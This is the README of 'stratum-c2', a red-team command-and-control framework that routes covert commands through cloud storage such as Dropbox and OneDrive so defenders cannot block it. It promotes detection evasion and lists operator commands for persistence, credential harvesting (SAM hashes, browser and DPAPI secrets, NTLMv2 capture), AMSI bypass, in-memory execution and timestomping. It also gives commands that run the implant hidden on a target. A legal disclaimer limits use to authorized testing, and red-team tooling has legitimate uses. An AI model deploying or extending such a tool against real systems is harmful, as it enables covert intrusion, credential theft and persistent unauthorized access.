stratum-c2

The problem

Your primary C2 goes silent. The domain gets blacklisted. The beacon gets flagged. The EDR kills the process. You're out.

You need a second channel — one that was never going to get blocked in the first place.

The idea

What if command-and-control traffic looked exactly like an employee syncing files to Dropbox?

That's Stratum. Commands and responses travel as ordinary files inside a cloud storage folder. The agent never connects to attacker infrastructure. The only observable traffic is HTTPS to a provider the target's firewall already whitelists — because blocking Dropbox or OneDrive means blocking every employee who uses it.

No teamserver. No attacker-owned domain. No suspicious TLS certificate. Nothing to block.

  OPERATOR                   CLOUD PROVIDER               TARGET
  ────────                   ─────────────                ──────
                             /Machine1/
  WebGUI ──HTTPS──►          input.txt   🔒  ◄── poll ── agent
                             output.txt  🔒  ──► read ──┘
                             heartbeat.txt    (encrypted beacon)

The agent wakes on a configurable interval (+ log-normal jitter), reads the input file, executes, encrypts the response, uploads it, and sleeps. Everything encrypted end-to-end with RSA-4096-OAEP + AES-256-GCM. The operator's IP never appears in any network log on the target side.

Cloud Providers

All five share the same wire format, the same RSA keypair, and the same operator session. Switch provider mid-engagement in minutes without touching the agent. No other open-source framework ships this out of the box.

Five things that don't exist anywhere else

1. The channel is structurally unblockable

A SOC that wants to stop C2 blocks the teamserver domain or fronted infrastructure. A SOC that wants to stop Stratum has to block Dropbox, OneDrive, Google Drive, SharePoint, and S3 simultaneously. That's not a firewall rule — it's a business decision no enterprise is going to make. The dead-drop architecture doesn't try to evade detection. It operates on infrastructure the defender has already decided to trust, permanently.

2. Four native agent formats from a single deploy flow

The wizard generates all of them. You answer prompts; it compiles, encrypts, and packages. No compiler flags, no env vars, no manual key management.

3. Three deploy modes — matched to the engagement

All modes share the same post-execution behaviour: the stub caches an HW-fingerprinted encrypted blob locally so subsequent runs load from disk without touching the cloud.

4. Persistence — probe, install, survive

Before touching a single registry key or cron entry, run /persist probe. The agent checks every available technique at the current privilege level and returns a feasibility report. Non-destructive — no artifacts left behind.

/persist probe
  ✓ schtask-logon   — feasible (SYSTEM)
  ✓ registry-run    — feasible
  ✗ schtask-boot    — requires elevation
  ✓ startup-folder  — feasible
  ...

Pick what works, install it, remove it cleanly when done. The WebGUI tracks every installed technique per session. /kill tears everything down — persistence, binary, cloud artifacts — in one command.

5. Operational guardrails baked at deploy time

Kill date, maintenance window, log-normal jitter, one-time bootstrap key — all configured once in the wizard and compiled into the agent permanently. Nothing to manage during the engagement, nothing to forget to clean up at the end.

How Stratum fits into an engagement

Stratum is not a replacement for Cobalt Strike, Sliver, or Havoc. It's the layer underneath them.

  Day 1: deploy Stratum alongside your primary C2
  Day 4: primary beacon gets flagged, process killed
  Day 4: open Stratum session, assess what happened
  Day 4: re-introduce primary C2 via Stratum shell
  Day 5: back to full access

Your primary C2 handles post-exploitation. Stratum handles survival. It's the channel that was never going to get detected because it was never trying to hide — it just looks like Dropbox.

This is the same paradigm used in the wild by threat actors documented in 2025–2026: TukTuk (Dropbox + Arweave dead-drop), NarwhalRAT/APT37 (pCloud), COBALT MIRAGE/Drokbk (GitHub). Stratum brings the same architecture to the red team side as a proper framework, not a one-off implant.

Quick start

1. Install

git clone https://github.com/daniomass/stratum-c2.git
cd stratum-c2
./install.sh --server

2. Rust toolchain

Compiled agents (.exe, .elf, .dll, .bin, native Rust) are a core feature of Stratum. The wizard detects and uses whatever targets are available, skipping only what it can't build.

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"

# Windows PE / DLL
rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64

# Linux musl-static ELF
rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools

# Flat x64 shellcode
rustup target add x86_64-unknown-none && sudo apt install lld

3. Start and deploy

python3 stratum-server.py

Open https://<host>:<port>, log in, click Deploy. The wizard walks you through provider credentials, agent format, deploy mode, persistence identity, and guardrails (kill date, window, jitter). At the end it hands you ready-to-run artifacts. Full setup details in the wiki (docs/wiki.html).

4. Deliver and connect

# Linux — background, no terminal
chmod +x stub.elf && nohup ./stub.elf &>/dev/null &

# Windows — hidden window (cmd or PowerShell)
start /b stub.exe

Session appears in the WebGUI automatically on first beacon.

The WebGUI

Multi-operator, real-time, browser-based. Every operator sees the same sessions live via WebSocket.

/sysinfo             — full system profile: hardware, OS, network, AV/EDR, containers
/persist probe       — non-destructive feasibility check, all techniques
/persist install <id>— install a persistence technique
/persist remove <id> — remove a specific technique
/creds harvest       — collect credentials (Firefox/cloud parsed inline, rest staged)
/creds harvest decrypt  — + decrypt Chrome/Edge/DPAPI via CryptUnprotectData (OPSEC↑)
/creds coerce        — force local auth to capture NTLMv2 / enumerate SSH agents
/creds sam           — in-memory SAM hash extraction (Windows, requires SYSTEM or elevated Admin)
/creds listen start [proto:port] — start credential listener (smb:445, http:80, http-ntlm:80)
/creds listen stop [proto:port]  — stop specific or all listeners
/creds listen dump   — retrieve captured NTLMv2 + Basic creds (auto-populates Credentials tab)
/bof <file.o> [args] — execute Beacon Object File (COFF) in-memory (Windows, Rust only)
/assembly <file.exe> [args]         — execute .NET assembly via CLR hosting (Windows, Rust only)
/assembly-amsibypass <file.exe> [args] — .NET assembly + AMSI bypass (Windows, Rust only)
/memexec <file> [args]              — execute PE/ELF in-memory (Win: reflective, Linux: memfd — Rust only)
/script <file> [interpreter]       — execute script fileless via stdin pipe (Win+Linux, Rust only)
/script-amsibypass <file> [interp] — fileless script + AMSI bypass (Win PS only, Rust only)
/kill                — remove all persistence + wipe artifacts + terminate agent
/download <path>     — pull file from target
/upload <path>       — push file to target
/sleep <s>           — change beacon interval live
/jitter <pct>        — change jitter percentage live
/timestomp <args>    — set file timestamps on target
/exit                — stop agent process (persistence survives)

Each session has dedicated tabs: Shell · History · Artifacts · Persist · Credentials · Control · Info. Global views: Sessions · Deploy · Archives · Tradecraft · Settings.

Authentication

Crypto

Extending Stratum

Adding a provider is ~360 lines: HTTP transport (upload / download / delete / token refresh) + deployment wizard. Encryption, heartbeat, command dispatch, persistence, timestomping, and artifact tracking come for free from the core. Reference implementation: providers/dropbox/.

Documentation

Full technical documentation — cryptographic protocol, wire format, heartbeat internals, transport interface, persistence techniques, OPSEC notes — is in docs/wiki.html. Open it locally in a browser.

UI mockups for all screens (session list, shell, persist tab, info tab, deploy wizard, chat) are in docs/mockups.html — open locally in a browser to browse every scene.

Legal

Stratum is intended for educational and authorized security testing purposes only.

This software is provided for defensive security research, penetration testing training, and authorized security assessments. Users are solely responsible for ensuring their use complies with all applicable laws and regulations.

For cloud services: If testing targets hosted on Dropbox, OneDrive, Google Drive, S3, or SharePoint, you must have explicit authorization from both the service provider and the resource owner. Unauthorized access to cloud services is illegal.

Unauthorized access to computer systems is a criminal offense and can result in severe civil and criminal penalties, including fines and imprisonment.

By using this software, you acknowledge that you have read this disclaimer and agree to use Stratum only for lawful purposes with proper authorization.

Changelog

See CHANGELOG.md for the full release history.